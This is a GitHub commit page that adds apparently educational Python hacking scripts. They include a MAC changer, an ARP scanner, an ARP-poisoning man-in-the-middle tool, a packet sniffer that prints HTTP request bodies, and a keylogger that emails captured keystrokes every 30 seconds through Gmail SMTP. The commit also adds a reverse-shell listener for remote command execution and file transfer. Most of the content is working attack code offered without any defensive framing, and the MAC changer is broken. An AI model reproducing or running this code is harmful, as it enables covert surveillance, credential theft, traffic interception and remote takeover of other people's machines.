Skip to content

Commit

Permalink
update repo
Browse files Browse the repository at this point in the history
  • Loading branch information
ebubekirdgn committed Jan 15, 2023
1 parent 589d3cd commit 204b352
Show file tree
Hide file tree
Showing 15 changed files with 907 additions and 0 deletions.
37 changes: 37 additions & 0 deletions 23-Cyber_Securit_Module/1-Mac Changer/mac_changer.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
from re import sub
import subprocess
import optparse as opt
import re


def get_user_input():
parse_object = opt.OptionParser()
parse_object.add_option("-i", "--ipaddress",dest="interface", help="Enter IP Address")
return parse_object.parse_args()


def change_mac_address(user_interface, user_mac_address):
subprocess.call(["ifconfig", user_interface, "down"])
subprocess.call(["ifconfig", user_interface, "hw", user_mac_address])
subprocess.call(["ifconfig", user_interface, "up"])


def control_new_mac(interface):
ifconfig = subprocess.check_output(["ifconfig", interface])
new_mac_address = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", str(ifconfig))
if new_mac_address:
return new_mac_address.group(0)
else:
return None


print("My Mac Changer Started!")

(user_input, arguments) = get_user_input()
change_mac_address(user_input.interface, user_input.mac_address)
finalized_mac = control_new_mac(str(user_input.interface))

if finalized_mac == user_input.mac_address:
print("Success!")
else:
print("Error!")
32 changes: 32 additions & 0 deletions 23-Cyber_Securit_Module/2-Net-Scanner/my_net_scanner.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
from socket import timeout
import scapy.all as scapy
import optparse as opt


# 1- Arp Request
# 2- Broadcast
# 3- Response


def get_user_input():
parse_object = opt.OptionParser()
parse_object.add_option("-i","--ipaddress",dest="ip_address",help="interface to change")
(user_input,arguments) = parse_object.parse_args()
if not user_input.ip_address:
print("Enter Ip Address")
return user_input


def scan_my_network(ip):
arp_request_packet = scapy.ARP(pdst=ip)
#scapy.ls(scapy.ARP())
broadcast_packet = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
#scapy.ls(scapy.Ether())
combined_packet = broadcast_packet / arp_request_packet
(answered_list , unanswered_list ) = scapy.srp(combined_packet,timeout=1)
#print(list(answered_list))
answered_list.summary()


user_ip_address = get_user_input()
scan_my_network(user_ip_address.ip_address)
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
from tabnanny import verbose
from time import time
import scapy.all as scapy
import time
import optparse


#Mac Adresini alıyoruz bu fonksiyonla
def get_mac_address(ip):
arp_request_packet = scapy.ARP(pdst=ip)
#scapy.ls(scapy.ARP())
broadcast_packet = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
#scapy.ls(scapy.Ether())
combined_packet = broadcast_packet / arp_request_packet
answered_list = scapy.srp(combined_packet,timeout=1,verbose=False)[0] #,verbose=False gereksiz ekran cıktı vermemesini saglar.
return answered_list[0][1].hwsrc
#answered_list.summary()

def arp_poisoning(target_ip,poisoned_ip):
#poisoned ip dedigimiz sey modem veya router ip sidir.
target_mac = get_mac_address(target_ip)
arp_response = scapy.ARP(op=2,pdst=target_ip,hwdst=target_mac,psrc=poisoned_ip)
scapy.send(arp_response,verbose=False)

#fooled_ip kandırılmıs ip
def reset_operation(fooled_ip,gateway_ip):

fooled_mac = get_mac_address(fooled_ip)
gateway_mac = get_mac_address(gateway_ip)

arp_response = scapy.ARP(op=2,pdst=fooled_ip,hwdst=fooled_mac,psrc=gateway_ip,hwsrc=gateway_mac)
scapy.send(arp_response,verbose=False,count=6)

def get_user_input():
parse_object = optparse.OptionParser()

parse_object.add_option("-t", "--target",dest="target_ip",help="Enter Target IP")
parse_object.add_option("-g","--gateway",dest="gateway_ip",help="Enter Gateway IP")

options = parse_object.parse_args()[0]

if not options.target_ip:
print("Enter Target IP")

if not options.gateway_ip:
print("Enter Gateway IP")

return options

number = 0

user_ips = get_user_input()
user_target_ip = user_ips.target_ip
user_gateway_ip = user_ips.gateway_ip
try:
while True:
arp_poisoning("192.168.1.101","192.168.218.1") #windows makinesi icin bu
arp_poisoning("192.168.218.1","192.168.1.101") #modemin bizi windows makinesi olarak algılamasını saglamak icin
number += 2
print("\rSending packets " + str(number),end="")
time.sleep(3)

except KeyboardInterrupt:
print("\nQuit & Reset")
#reset_operation(user_target_ip,user_gateway_ip)
#reset_operation(user_gateway_ip,user_target_ip)
43 changes: 43 additions & 0 deletions 23-Cyber_Securit_Module/3-Key-Logger/my_key_logger.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
import pynput.keyboard
import smtplib
import threading

log = ""

def callback_function(key):
global log
try:
#log = log + key.char.encode('utf-8')
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + " "
else:
log = log + str(key)
except:
pass

print(log)

def send_email(email,password,message):
email_server = smtplib.SMTP("smtp.gmail.com",587)
email_server.starttls()
email_server.login(email,password)
email_server.sendmail(email,email,message)
email_server.quit()

#thread - threading

def thread_function():
global log
##Kullanıcı adı şifre burada alınacak
send_email("[email protected]", "password", log.encode('utf-8'))
log = ""
timer_object = threading.Timer(30,thread_function)
timer_object.start()

keylogger_listener = pynput.keyboard.Listener(on_press=callback_function)
with keylogger_listener:
thread_function()
keylogger_listener.join()

18 changes: 18 additions & 0 deletions 23-Cyber_Securit_Module/4- Packet-Listener/packet_listener.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
import scapy.all as scapy
from scapy_http import http


def listen_packets(interface):

scapy.sniff(iface=interface, store=False, prn=analyze_packets)
# prn = callback function


def analyze_packets(packet):
# packet.show()
if packet.haslayer(http.HTTPRequest):
if packet.haslayer(scapy.Raw):
print(packet[scapy.Raw].load)


listen_packets("eth0")
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
import socket
import json
import base64

class SocketListener:
def __init__(self,ip,port):
my_listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
my_listener.bind((ip, port))
my_listener.listen(0)
print("Listening...")
(self.my_connection, my_address) = my_listener.accept()
print("Connection OK from " + str(my_address))

def json_send(self,data):
json_data = json.dumps(data)
self.my_connection.send(json_data)

def json_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.my_connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue

def command_execution(self, command_input):
self.json_send(command_input)

if command_input[0] == "quit":
self.my_connection.close()
exit()

return self.json_receive()

def save_file(self,path,content):
with open(path,"wb") as my_file:
my_file.write(base64.b64decode(content))
return "Download OK"

def get_file_content(self,path):
with open(path,"rb") as my_file:
return base64.b64encode(my_file.read())

def start_listener(self):
while True:
command_input = raw_input("Enter command: ")
command_input = command_input.split(" ")
try:
if command_input[0] == "upload":
my_file_content = self.get_file_content(command_input[1])
command_input.append(my_file_content)

command_output = self.command_execution(command_input)

if command_input[0] == "download" and "Error!" not in command_output:
command_output = self.save_file(command_input[1],command_output)
except Exception:
command_output = "Error"
print(command_output)

my_socket_listener = SocketListener("10.0.2.15",8080)
my_socket_listener.start_listener()
Loading

0 comments on commit 204b352

Please sign in to comment.